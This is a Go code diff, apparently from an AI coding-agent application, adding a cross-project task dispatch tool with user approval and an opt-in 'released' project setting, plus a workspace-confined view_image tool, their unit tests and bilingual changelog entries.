// MarkOpenedByDispatch records that another session opened this one to hand it
|
||||
// a task. Such a session cannot dispatch in turn, which bounds the fan-out at
|
||||
// one level.
|
||||
func (c *Controller) MarkOpenedByDispatch() { c.dispatch.nested.Store(true) }
|
||||
|
||||
// OpenedByDispatch reports whether MarkOpenedByDispatch was called.
|
||||
func (c *Controller) OpenedByDispatch() bool { return c.dispatch.nested.Load() }
|
||||
|
||||
// PeerKey is the address other sessions write to this one at, empty until the
|
||||
// session has a file.
|
||||
func (c *Controller) PeerKey() string {
|
||||
p := c.peers
|
||||
if p == nil {
|
||||
return ""
|
||||
}
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
return p.key
|
||||
}
|
||||
|
||||
// DispatchToProject hands a task to a session in another of the user's projects.
|
||||
func (c *Controller) DispatchToProject(ctx context.Context, project, text string) (DispatchResult, error) {
|
||||
if !config.LoadForEdit(config.UserConfigPath()).PeersDispatch() {
|
||||
return DispatchResult{}, ErrDispatchUnavailable
|
||||
}
|
||||
if c.OpenedByDispatch() {
|
||||
return DispatchResult{}, ErrDispatchNested
|
||||
}
|
||||
hook := c.dispatch.hook.Load()
|
||||
if hook == nil {
|
||||
return DispatchResult{}, ErrDispatchUnavailable
|
||||
}
|
||||
return (*hook)(ctx, project, text)
|
||||
}
|
||||
|
||||
func (d peerDirectory) DispatchToProject(ctx context.Context, project, text string) (tool.DispatchReceipt, error) {
|
||||
r, err := d.c.DispatchToProject(ctx, project, text)
|
||||
if err != nil {
|
||||
return tool.DispatchReceipt{}, fmtPeerError(err)
|
||||
}
|
||||
return tool.DispatchReceipt{Project: r.Project, Key: r.Key, ID: r.ID}, nil
|
||||
}
|
||||
|
||||
// RefreshPeers reads this session's spool now rather than at the next tick, so
|
||||
// a message just sent to it can be seen at once.
|
||||
func (c *Controller) RefreshPeers() { c.peerIngest() }
|
||||
@@ -15,6 +15,7 @@ import (
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
"reasonix/internal/contract/config"
|
||||
"reasonix/internal/contract/tool"
|
||||
"reasonix/internal/state/peermail"
|
||||
"reasonix/internal/state/sessioninbox"
|
||||
@@ -214,6 +215,7 @@ func (c *Controller) peerIngest() {
|
||||
fresh = append(fresh, m)
|
||||
}
|
||||
var audits []peermail.AuditRecord
|
||||
var newlyHeld []string
|
||||
p.mu.Lock()
|
||||
if p.key != key {
|
||||
p.mu.Unlock()
|
||||
@@ -238,6 +240,7 @@ func (c *Controller) peerIngest() {
|
||||
}
|
||||
p.held[m.ID] = m
|
||||
p.order = append(p.order, m.ID)
|
||||
newlyHeld = append(newlyHeld, m.ID)
|
||||
perSender[m.From.SessionID]++
|
||||
audits = append(audits, peermail.AuditRecord{Receiver: key, Sender: m.From.SessionID, ID: m.ID, Decision: peermail.DecisionHeld, Bytes: len(m.Body), SHA256: peermail.Digest(m.Body)})
|
||||
}
|
||||
@@ -245,6 +248,20 @@ func (c *Controller) peerIngest() {
|
||||
for _, a := range audits {
|
||||
_ = p.dir.Audit(a)
|
||||
}
|
||||
c.releaseHeldPeerMessages(newlyHeld)
|
||||
}
|
||||
|
||||
// releaseHeldPeerMessages approves what just arrived when the user's own file
|
||||
// lists this session's project. Only the asking is skipped: the message is the
|
||||
// same follow-up an approval would queue, and what it starts runs under this
|
||||
// session's own approvals and sandbox.
|
||||
func (c *Controller) releaseHeldPeerMessages(ids []string) {
|
||||
if len(ids) == 0 || !config.LoadForEdit(config.UserConfigPath()).PeersReleasedProject(c.WorkspaceRoot()) {
|
||||
return
|
||||
}
|
||||
for _, id := range ids {
|
||||
_ = c.resolvePeerMessage(id, true, true)
|
||||
}
|
||||
}
|
||||
|
||||
// PeersEnabled reports whether this controller publishes and reads a spool.
|
||||
@@ -272,6 +289,12 @@ func (c *Controller) HeldPeerMessages() []PeerHeld {
|
||||
// acknowledged only after the queue holds it, and the queue de-duplicates on the
|
||||
// message id, so a crash between the two re-asks and never delivers twice.
|
||||
func (c *Controller) ResolvePeerMessage(id string, approve bool) error {
|
||||
return c.resolvePeerMessage(id, approve, false)
|
||||
}
|
||||
|
||||
// resolvePeerMessage is ResolvePeerMessage; released records that the user's own
|
||||
// file let this project take the message without a card, which the audit says.
|
||||
func (c *Controller) resolvePeerMessage(id string, approve, released bool) error {
|
||||
p := c.peers
|
||||
if p == nil || p.dir == nil {
|
||||
return ErrPeersDisabled
|
||||
@@ -305,6 +328,9 @@ func (c *Controller) ResolvePeerMessage(id string, approve bool) error {
|
||||
return err
|
||||
}
|
||||
decision = peermail.DecisionApproved
|
||||
if released {
|
||||
decision = peermail.DecisionReleased
|
||||
}
|
||||
if !c.Running() {
|
||||
c.maybeDispatchInbox()
|
||||
}
|
||||
|
||||
@@ -28,11 +28,17 @@ func (d peerDirectory) SendPeerMessage(to, text string) (tool.PeerReceipt, error
|
||||
return tool.PeerReceipt{ID: r.ID, To: tool.PeerView{Key: r.To.Key, Title: r.To.Title, Project: r.To.Project}}, nil
|
||||
}
|
||||
|
||||
// fmtPeerError leads with the error's identity, as the send path does.
|
||||
func fmtPeerError(err error) error { return fmt.Errorf("%s: %w", peerErrorCode(err), err) }
|
||||
|
||||
func peerErrorCode(err error) string {
|
||||
for code, sentinel := range map[string]error{
|
||||
"peer.disabled": ErrPeersDisabled, "peer.not_found": ErrPeerNotFound, "peer.ambiguous": ErrPeerAmbiguous,
|
||||
"peer.self": ErrPeerSelf, "peer.refused": ErrPeerRefused, "peer.rate_limited": ErrPeerRateLimited,
|
||||
"peer.empty": ErrPeerEmpty, "peer.too_large": ErrPeerTooLarge,
|
||||
"dispatch.unavailable": ErrDispatchUnavailable, "dispatch.unknown_project": ErrDispatchUnknownProject,
|
||||
"dispatch.ambiguous": ErrDispatchAmbiguous, "dispatch.nested": ErrDispatchNested,
|
||||
"dispatch.untrusted": ErrDispatchUntrusted, "dispatch.failed": ErrDispatchFailed,
|
||||
} {
|
||||
if errors.Is(err, sentinel) {
|
||||
return code
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
package control
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"reasonix/internal/base/testenv"
|
||||
"reasonix/internal/contract/config"
|
||||
)
|
||||
|
||||
func setReleaseProjects(t *testing.T, projects ...string) {
|
||||
t.Helper()
|
||||
t.Setenv("REASONIX_HOME", testenv.TempDir(t))
|
||||
cfg := config.LoadForEdit(config.UserConfigPath())
|
||||
cfg.Peers.Enabled = true
|
||||
cfg.Peers.ReleaseProjects = projects
|
||||
if err := cfg.SaveTo(config.UserConfigPath()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
// The user can release a project: a message from their other sessions then
|
||||
// arrives without the card, runs under this session's own approvals, and the
|
||||
// audit says it was released rather than approved. Nothing else changes.
|
||||
func TestAReleasedProjectTakesAPeerMessageWithoutACard(t *testing.T) {
|
||||
f := newPeerFixture(t)
|
||||
f.c.workspaceRoot = testenv.TempDir(t)
|
||||
setReleaseProjects(t, f.c.WorkspaceRoot())
|
||||
f.send(t, "m1", "please look at the failing test")
|
||||
f.c.peerIngest()
|
||||
|
||||
input := waitForInboxDispatch(t, f.runner)
|
||||
if !strings.Contains(input, "please look at the failing test") || !strings.Contains(input, "not an instruction from the user") {
|
||||
t.Fatalf("the released message reached the model without its frame:\n%s", input)
|
||||
}
|
||||
if len(f.c.HeldPeerMessages()) != 0 {
|
||||
t.Fatal("a released message is still waiting for a card")
|
||||
}
|
||||
files, _ := filepath.Glob(filepath.Join(f.peersDir, "audit", "*.jsonl"))
|
||||
data, _ := os.ReadFile(files[0])
|
||||
if !strings.Contains(string(data), `"decision":"released"`) || strings.Contains(string(data), `"decision":"approved"`) {
|
||||
t.Fatalf("audit trail: %s", data)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAProjectNotReleasedStillHoldsTheMessage(t *testing.T) {
|
||||
f := newPeerFixture(t)
|
||||
f.c.workspaceRoot = testenv.TempDir(t)
|
||||
setReleaseProjects(t, filepath.Join(testenv.TempDir(t), "some-other-project"))
|
||||
f.send(t, "m1", "please look at the failing test")
|
||||
f.c.peerIngest()
|
||||
if len(f.c.HeldPeerMessages()) != 1 {
|
||||
t.Fatal("a project the user did not release took the message without a card")
|
||||
}
|
||||
f.noRunnerInput(t, 300*time.Millisecond)
|
||||
}
|
||||
@@ -16,6 +16,7 @@ const (
|
||||
DecisionSent Decision = "sent"
|
||||
DecisionHeld Decision = "held"
|
||||
DecisionApproved Decision = "approved"
|
||||
DecisionReleased Decision = "released"
|
||||
DecisionDenied Decision = "denied"
|
||||
DecisionRejected Decision = "rejected"
|
||||
)
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
package builtin
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"reasonix/internal/contract/tool"
|
||||
)
|
||||
|
||||
// DispatchTool lets the model hand a task to a session in another of the user's
|
||||
// projects. It is registered only where the user's own file turned dispatch on.
|
||||
func DispatchTool(link *tool.PeerLink) tool.Tool { return &dispatchToProject{link: link} }
|
||||
|
||||
type dispatchToProject struct{ link *tool.PeerLink }
|
||||
|
||||
func (*dispatchToProject) Name() string { return "dispatch_to_project" }
|
||||
func (*dispatchToProject) Description() string {
|
||||
return "Hand a task to a session in another of the user's projects: name the project (its folder name or full path, as the user has it in their project list) and write what that session should do. A session is opened there if none of yours is already waiting. The message is held until that project's own user approves it (unless they released that project); only then does its model read it, labelled as coming from you, and it works under its own permissions, not yours. It is for passing a task and its context, not a way to write into that project yourself. You get the receiving session's key; it can answer you with send_peer_message. Do not include secrets."
|
||||
}
|
||||
func (*dispatchToProject) Schema() json.RawMessage {
|
||||
return json.RawMessage(`{"type":"object","properties":{"project":{"type":"string","description":"The project's folder name or full path, as it appears in the user's project list"},"text":{"type":"string","description":"The task and the context the other session needs"}},"required":["project","text"],"additionalProperties":false}`)
|
||||
}
|
||||
func (*dispatchToProject) ReadOnly() bool { return false }
|
||||
|
||||
func (t *dispatchToProject) Execute(ctx context.Context, args json.RawMessage) (string, error) {
|
||||
var in struct {
|
||||
Project string `json:"project"`
|
||||
Text string `json:"text"`
|
||||
}
|
||||
if err := json.Unmarshal(args, &in); err != nil {
|
||||
return "", fmt.Errorf("dispatch_to_project needs {\"project\", \"text\"}: %w", err)
|
||||
}
|
||||
if strings.TrimSpace(in.Project) == "" || strings.TrimSpace(in.Text) == "" {
|
||||
return "", errors.New("peer.empty: dispatch_to_project needs a project and some text")
|
||||
}
|
||||
dir, ok := t.link.Directory()
|
||||
if !ok {
|
||||
return "", errors.New("peer.disabled: messages between sessions are not available in this session")
|
||||
}
|
||||
d, ok := dir.(tool.ProjectDispatcher)
|
||||
if !ok {
|
||||
return "", errors.New("dispatch.unavailable: this session cannot open sessions in other projects")
|
||||
}
|
||||
r, err := d.DispatchToProject(ctx, in.Project, in.Text)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fmt.Sprintf("Handed to a session in %q as %s (key %s). It is read only after that project's user approves it; it can answer with send_peer_message to your key.", r.Project, r.ID, r.Key), nil
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package builtin
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"reasonix/internal/contract/tool"
|
||||
)
|
||||
|
||||
type fakeDispatcher struct {
|
||||
fakePeers
|
||||
asked [2]string
|
||||
err error
|
||||
}
|
||||
|
||||
func (f *fakeDispatcher) DispatchToProject(_ context.Context, project, text string) (tool.DispatchReceipt, error) {
|
||||
f.asked = [2]string{project, text}
|
||||
if f.err != nil {
|
||||
return tool.DispatchReceipt{}, f.err
|
||||
}
|
||||
return tool.DispatchReceipt{Project: "/work/billing", Key: "s-9", ID: "m-7"}, nil
|
||||
}
|
||||
|
||||
func dispatchTool(dir tool.PeerDirectory) tool.Tool {
|
||||
link := &tool.PeerLink{}
|
||||
if dir != nil {
|
||||
link.Bind(dir)
|
||||
}
|
||||
return DispatchTool(link)
|
||||
}
|
||||
|
||||
func TestDispatchToolHandsTheTaskOverAndReportsWhereItWent(t *testing.T) {
|
||||
d := &fakeDispatcher{}
|
||||
tl := dispatchTool(d)
|
||||
if tl.ReadOnly() {
|
||||
t.Fatal("handing work to another project is an outward effect, not a read")
|
||||
}
|
||||
out, err := tl.Execute(context.Background(), json.RawMessage(`{"project":"billing","text":"rotate the key"}`))
|
||||
if err != nil || d.asked != [2]string{"billing", "rotate the key"} {
|
||||
t.Fatalf("out %q err %v asked %v", out, err, d.asked)
|
||||
}
|
||||
for _, want := range []string{"/work/billing", "m-7", "s-9", "approves"} {
|
||||
if !strings.Contains(out, want) {
|
||||
t.Errorf("result lacks %q: %s", want, out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDispatchToolRefusalsKeepTheirIdentity(t *testing.T) {
|
||||
ctx := context.Background()
|
||||
if _, err := dispatchTool(nil).Execute(ctx, json.RawMessage(`{"project":"b","text":"x"}`)); err == nil || !strings.HasPrefix(err.Error(), "peer.disabled") {
|
||||
t.Fatalf("unbound = %v, want peer.disabled", err)
|
||||
}
|
||||
if _, err := dispatchTool(&fakePeers{}).Execute(ctx, json.RawMessage(`{"project":"b","text":"x"}`)); err == nil || !strings.HasPrefix(err.Error(), "dispatch.unavailable") {
|
||||
t.Fatalf("a directory that cannot dispatch = %v, want dispatch.unavailable", err)
|
||||
}
|
||||
for _, args := range []string{`{"project":"","text":"x"}`, `{"project":"b","text":" "}`} {
|
||||
if _, err := dispatchTool(&fakeDispatcher{}).Execute(ctx, json.RawMessage(args)); err == nil || !strings.HasPrefix(err.Error(), "peer.empty") {
|
||||
t.Fatalf("%s = %v, want peer.empty", args, err)
|
||||
}
|
||||
}
|
||||
boom := errors.New("dispatch.untrusted: that project is not one you have trusted")
|
||||
if _, err := dispatchTool(&fakeDispatcher{err: boom}).Execute(ctx, json.RawMessage(`{"project":"b","text":"x"}`)); !errors.Is(err, boom) {
|
||||
t.Fatalf("a refusal from the host was changed on the way: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -304,9 +304,10 @@ func (r readFile) scan(src io.Reader, offset, limit int) (string, error) {
|
||||
// context on hex that answers nothing.
|
||||
func binaryRefusal(displayPath string, head []byte, external bool) error {
|
||||
if kind := imageKind(head); kind != "" {
|
||||
// Only a reference in the user's own message attaches a picture; the
|
||||
// model writing @path attaches nothing, so it is told to ask.
|
||||
return fmt.Errorf("%s is a %s image; read_file reads text. A picture reaches a model only when the user's message references it as @%s: an image attached this turn is already seen by a model that reads images, and one that cannot hands it to read_only_task. This one is not viewable unless the user sends it as @%s — ask them to", displayPath, kind, displayPath, displayPath)
|
||||
// view_image is offered only to a model that reads images; a reference in
|
||||
// the user's own message also shows one, but the model writing @path
|
||||
// attaches nothing.
|
||||
return fmt.Errorf("%s is a %s image; read_file reads text. If view_image is among your tools, use it to see the picture; otherwise it is viewable only when the user's message references it as @%s — writing that yourself attaches nothing, so ask them to", displayPath, kind, displayPath)
|
||||
}
|
||||
if external {
|
||||
return fmt.Errorf("binary file %s (NUL byte detected); not shown by read_file", displayPath)
|
||||
|
||||
@@ -11,10 +11,10 @@ import (
|
||||
"reasonix/internal/base/testenv"
|
||||
)
|
||||
|
||||
// An image on disk cannot be read as text, and the refusal points at the one
|
||||
// route that works — the user attaching it — instead of promising a delegation
|
||||
// that would reach a child with no picture.
|
||||
func TestReadFileImageRefusalAsksTheUserToAttach(t *testing.T) {
|
||||
// An image on disk cannot be read as text, and the refusal points at the routes
|
||||
// that work (view_image where offered, the user attaching it) instead of
|
||||
// promising a delegation that would reach a child with no picture.
|
||||
func TestReadFileImageRefusalPointsAtTheRoutesThatWork(t *testing.T) {
|
||||
dir := testenv.TempDir(t)
|
||||
png := append([]byte("\x89PNG\r\n\x1a\n"), make([]byte, 32)...)
|
||||
if err := os.WriteFile(filepath.Join(dir, "shot.png"), png, 0o644); err != nil {
|
||||
@@ -26,7 +26,7 @@ func TestReadFileImageRefusalAsksTheUserToAttach(t *testing.T) {
|
||||
t.Fatal("an image was returned as text")
|
||||
}
|
||||
msg := err.Error()
|
||||
for _, want := range []string{"PNG image", "sends it as @", "shot.png", "ask them", "attached this turn"} {
|
||||
for _, want := range []string{"PNG image", "view_image", "references it as @", "shot.png", "ask them"} {
|
||||
if !strings.Contains(msg, want) {
|
||||
t.Fatalf("refusal lacks %q: %s", want, msg)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,145 @@
|
||||
package builtin
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"reasonix/internal/contract/tool"
|
||||
"reasonix/internal/model/visionimage"
|
||||
)
|
||||
|
||||
// Identities of the refusals view_image owns, so a caller never classifies on a
|
||||
// sentence.
|
||||
const (
|
||||
CodeImageUnsupported = "image.unsupported_type"
|
||||
CodeImageTooLarge = "image.too_large"
|
||||
CodeImageUnfit = "image.unfit"
|
||||
)
|
||||
|
||||
// viewImageMaxBytes bounds the file read before it is decoded.
|
||||
const viewImageMaxBytes = int64(20) << 20
|
||||
|
||||
// ViewImage is the view_image tool bound to the workspace's read boundary. It is
|
||||
// not a global built-in: a session offers it only when its model reads images,
|
||||
// so every other session's tool block stays as it was.
|
||||
func (w Workspace) ViewImage() tool.Tool {
|
||||
readRoots := realRoots(w.ReadRoots)
|
||||
if len(w.ReadRoots) > 0 && len(readRoots) == 0 {
|
||||
readRoots = []string{filepath.Join(string(filepath.Separator), "\x00unresolved")}
|
||||
}
|
||||
return viewImage{workDir: w.Dir, netRoots: networkRoots(w.Dir, w.WriteRoots, w.ReadRoots), readRoots: readRoots,
|
||||
paths: w.ReadPaths, forbidRoots: realRoots(w.ForbidReadRoots)}
|
||||
}
|
||||
|
||||
// viewImage shows the model a picture that is a file in the workspace. It reads
|
||||
// one confined file, decides its type from its bytes, fits it to what vision
|
||||
// hosts accept, and returns it on the tool's image channel.
|
||||
type viewImage struct {
|
||||
workDir string
|
||||
netRoots []string
|
||||
readRoots []string
|
||||
paths *PathResolver
|
||||
forbidRoots []string
|
||||
// maxBytes is for tests; zero means the real bound.
|
||||
maxBytes int64
|
||||
}
|
||||
|
||||
func (viewImage) Name() string { return "view_image" }
|
||||
func (viewImage) ReadOnly() bool { return true }
|
||||
|
||||
func (viewImage) Description() string {
|
||||
return "Look at an image file (PNG, JPEG, GIF or WebP) in the workspace: the picture itself is shown to you, not a description. Needs a model that reads images."
|
||||
}
|
||||
|
||||
func (viewImage) Schema() json.RawMessage {
|
||||
return json.RawMessage(`{"type":"object","properties":{"path":{"type":"string"}},"required":["path"],"additionalProperties":false}`)
|
||||
}
|
||||
|
||||
func (v viewImage) Execute(ctx context.Context, args json.RawMessage) (string, error) {
|
||||
text, _, err := v.ExecuteWithImages(ctx, args)
|
||||
return text, err
|
||||
}
|
||||
|
||||
func (v viewImage) ExecuteWithImages(_ context.Context, args json.RawMessage) (string, []string, error) {
|
||||
var p struct {
|
||||
Path string `json:"path"`
|
||||
}
|
||||
if err := json.Unmarshal(args, &p); err != nil {
|
||||
return "", nil, fmt.Errorf("invalid args: %w", err)
|
||||
}
|
||||
if p.Path == "" {
|
||||
return "", nil, errors.New("path is required")
|
||||
}
|
||||
rp := resolveReadablePath(v.workDir, p.Path, v.paths)
|
||||
if err := v.refuse(rp); err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
raw, err := v.read(rp)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
mime := visionimage.DetectMime(raw)
|
||||
if mime == "" {
|
||||
return "", nil, tool.Refusal{Code: CodeImageUnsupported, Message: fmt.Sprintf("%s is not a PNG, JPEG, GIF or WebP image (its bytes look like %q)", rp.DisplayPath, visionimage.Sniff(raw))}
|
||||
}
|
||||
fitted, fittedMime, err := visionimage.Fit(raw, mime)
|
||||
if err != nil {
|
||||
return "", nil, tool.Refusal{Code: CodeImageUnfit, Message: fmt.Sprintf("%s cannot be shown: %v", rp.DisplayPath, err)}
|
||||
}
|
||||
text := fmt.Sprintf("[image: %s, %s, %d bytes shown]", rp.DisplayPath, fittedMime, len(fitted))
|
||||
return text, []string{"data:" + fittedMime + ";base64," + base64.StdEncoding.EncodeToString(fitted)}, nil
|
||||
}
|
||||
|
||||
func (v viewImage) refuse(rp ResolvedPath) error {
|
||||
if err := rp.refuseNetwork(v.netRoots); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := confineScope(v.readRoots, rp.Path); err != nil {
|
||||
return err
|
||||
}
|
||||
if confineRead(v.forbidRoots, rp.Path) {
|
||||
return &os.PathError{Op: "open", Path: rp.Path, Err: os.ErrNotExist}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// read opens the file inside the read boundary and reads it whole, up to the
|
||||
// bound; a file past it is refused before any byte is decoded.
|
||||
func (v viewImage) read(rp ResolvedPath) ([]byte, error) {
|
||||
f, err := os.Open(rp.Path)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read %s: %w", rp.DisplayPath, err)
|
||||
}
|
||||
defer f.Close()
|
||||
if err := confineOpened(v.readRoots, f); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
st, err := f.Stat()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read %s: %w", rp.DisplayPath, err)
|
||||
}
|
||||
if st.IsDir() {
|
||||
return nil, fmt.Errorf("%s is a directory, not an image file", rp.DisplayPath)
|
||||
}
|
||||
limit := v.maxBytes
|
||||
if limit <= 0 {
|
||||
limit = viewImageMaxBytes
|
||||
}
|
||||
if st.Size() > limit {
|
||||
return nil, tool.Refusal{Code: CodeImageTooLarge, Message: fmt.Sprintf("%s is %d bytes; view_image reads files up to %d bytes", rp.DisplayPath, st.Size(), limit)}
|
||||
}
|
||||
raw, err := io.ReadAll(io.LimitReader(f, limit+1))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read %s: %w", rp.DisplayPath, err)
|
||||
}
|
||||
if int64(len(raw)) > limit {
|
||||
return nil, tool.Refusal{Code: CodeImageTooLarge, Message: fmt.Sprintf("%s grew past %d bytes while it was read", rp.DisplayPath, limit)}
|
||||
}
|
||||
return raw, nil
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
package builtin
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"image"
|
||||
"image/color"
|
||||
"image/png"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"reasonix/internal/base/testenv"
|
||||
"reasonix/internal/model/visionimage"
|
||||
)
|
||||
|
||||
func writePNG(t *testing.T, path string, w, h int) {
|
||||
t.Helper()
|
||||
img := image.NewRGBA(image.Rect(0, 0, w, h))
|
||||
for x := range w {
|
||||
img.Set(x, 0, color.RGBA{R: 200, A: 255})
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
if err := png.Encode(&buf, img); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(path, buf.Bytes(), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func viewImageFor(dir string) viewImage {
|
||||
roots := realRoots([]string{dir})
|
||||
return viewImage{workDir: dir, readRoots: roots}
|
||||
}
|
||||
|
||||
func viewArgs(path string) json.RawMessage {
|
||||
b, _ := json.Marshal(map[string]string{"path": path})
|
||||
return b
|
||||
}
|
||||
|
||||
// The picture itself comes back on the image channel, in the type its bytes
|
||||
// have, with a text line saying what was shown.
|
||||
func TestViewImageReturnsThePictureItself(t *testing.T) {
|
||||
dir := testenv.TempDir(t)
|
||||
writePNG(t, filepath.Join(dir, "shot.png"), 40, 20)
|
||||
text, images, err := viewImageFor(dir).ExecuteWithImages(context.Background(), viewArgs("shot.png"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(images) != 1 || !strings.HasPrefix(images[0], "data:image/png;base64,") {
|
||||
t.Fatalf("images = %v, want one PNG data URL", images)
|
||||
}
|
||||
raw, err := base64.StdEncoding.DecodeString(strings.TrimPrefix(images[0], "data:image/png;base64,"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if cfg, _, err := image.DecodeConfig(bytes.NewReader(raw)); err != nil || cfg.Width != 40 || cfg.Height != 20 {
|
||||
t.Fatalf("returned picture is %v, %v; want the 40x20 original", cfg, err)
|
||||
}
|
||||
if !strings.Contains(text, "shot.png") || !strings.Contains(text, "image/png") {
|
||||
t.Fatalf("text = %q, want the path and type", text)
|
||||
}
|
||||
if !(viewImage{}).ReadOnly() {
|
||||
t.Fatal("viewing a file is a read")
|
||||
}
|
||||
}
|
||||
|
||||
// A picture larger than a vision host accepts is fitted, not forwarded.
|
||||
func TestViewImageFitsAnOversizedPicture(t *testing.T) {
|
||||
dir := testenv.TempDir(t)
|
||||
writePNG(t, filepath.Join(dir, "wide.png"), visionimage.MaxDim*2, 8)
|
||||
_, images, err := viewImageFor(dir).ExecuteWithImages(context.Background(), viewArgs("wide.png"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, payload, _ := strings.Cut(images[0], ",")
|
||||
raw, _ := base64.StdEncoding.DecodeString(payload)
|
||||
cfg, _, err := image.DecodeConfig(bytes.NewReader(raw))
|
||||
if err != nil || cfg.Width > visionimage.MaxDim {
|
||||
t.Fatalf("sent %v (%v), want a width within %d", cfg, err, visionimage.MaxDim)
|
||||
}
|
||||
}
|
||||
|
||||
// The type is the bytes', never the name's: text wearing .png is refused with
|
||||
// its identity, and the real type wins over a wrong extension.
|
||||
func TestViewImageDecidesByBytesAndRefusesWithIdentities(t *testing.T) {
|
||||
dir := testenv.TempDir(t)
|
||||
if err := os.WriteFile(filepath.Join(dir, "fake.png"), []byte("just some text, not a picture"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
writePNG(t, filepath.Join(dir, "real.txt"), 4, 4)
|
||||
if err := os.Mkdir(filepath.Join(dir, "folder"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
v := viewImageFor(dir)
|
||||
if _, _, err := v.ExecuteWithImages(context.Background(), viewArgs("fake.png")); refusalCode(err) != CodeImageUnsupported {
|
||||
t.Fatalf("text named .png = %v, want %s", err, CodeImageUnsupported)
|
||||
}
|
||||
if _, images, err := v.ExecuteWithImages(context.Background(), viewArgs("real.txt")); err != nil || len(images) != 1 {
|
||||
t.Fatalf("a PNG named .txt = %v, %v; want it shown", images, err)
|
||||
}
|
||||
if _, _, err := v.ExecuteWithImages(context.Background(), viewArgs("folder")); err == nil {
|
||||
t.Fatal("a directory was shown")
|
||||
}
|
||||
small := viewImageFor(dir)
|
||||
small.maxBytes = 10
|
||||
if _, _, err := small.ExecuteWithImages(context.Background(), viewArgs("real.txt")); refusalCode(err) != CodeImageTooLarge {
|
||||
t.Fatalf("a file past the bound = %v, want %s", err, CodeImageTooLarge)
|
||||
}
|
||||
if _, _, err := v.ExecuteWithImages(context.Background(), json.RawMessage(`{}`)); err == nil {
|
||||
t.Fatal("no path was accepted")
|
||||
}
|
||||
}
|
||||
|
||||
// The read boundary is read_file's: nothing outside the roots, nothing forbidden.
|
||||
func TestViewImageStaysInsideTheReadBoundary(t *testing.T) {
|
||||
dir, outside, secret := testenv.TempDir(t), testenv.TempDir(t), testenv.TempDir(t)
|
||||
writePNG(t, filepath.Join(outside, "elsewhere.png"), 4, 4)
|
||||
writePNG(t, filepath.Join(secret, "key.png"), 4, 4)
|
||||
v := viewImageFor(dir)
|
||||
if _, _, err := v.ExecuteWithImages(context.Background(), viewArgs(filepath.Join(outside, "elsewhere.png"))); err == nil {
|
||||
t.Fatal("a picture outside the read roots was shown")
|
||||
}
|
||||
forbidding := viewImage{workDir: dir, readRoots: realRoots([]string{dir, secret}), forbidRoots: realRoots([]string{secret})}
|
||||
if _, _, err := forbidding.ExecuteWithImages(context.Background(), viewArgs(filepath.Join(secret, "key.png"))); err == nil {
|
||||
t.Fatal("a picture under a forbidden-read root was shown")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
- 改进:输入框恢复 1.x 手感:悬停或聚焦时边框扫过一圈光(运行中、系统减弱动画时不播);框内不再印“空闲/运行中”,状态仍读给读屏软件,运行时钟照旧。关联 #13253。
|
||||
- Improved: the composer border sweeps with light on hover or focus as in 1.x (not while running or with reduced motion); the idle/running word is no longer printed but still announced. Refs #13253.
|
||||
@@ -0,0 +1,2 @@
|
||||
- 修复:辅助会话可收起为标题栏以露出正文,展开后保留草稿、引用和回答;收起不会取消正在进行的请求。关联 #13288。
|
||||
- Fixed: Collapse a side question to read the transcript without losing its draft, quotes, answers or pending request. Refs #13288.
|
||||
@@ -0,0 +1,2 @@
|
||||
- 新增(默认关闭):模型可把任务交给你另一个项目里的会话(dispatch_to_project),对方用户批准后才看到。关联 #13341。
|
||||
- Added, off by default: the model can hand a task to a session in another of your projects (dispatch_to_project); that project's user approves first. Refs #13341.
|
||||
@@ -0,0 +1,2 @@
|
||||
- 子代理并发数和并行写者数默认不再限制(原为 6 和 3),可在用户配置里设上限;嵌套深度默认 8,设 0 取消。关联 #13526。
|
||||
- Sub-agent concurrency and parallel writers are no longer capped by default (were 6 and 3); set limits in your user config. Nesting depth defaults to 8; 0 removes it. Refs #13526.
|
||||
@@ -0,0 +1,2 @@
|
||||
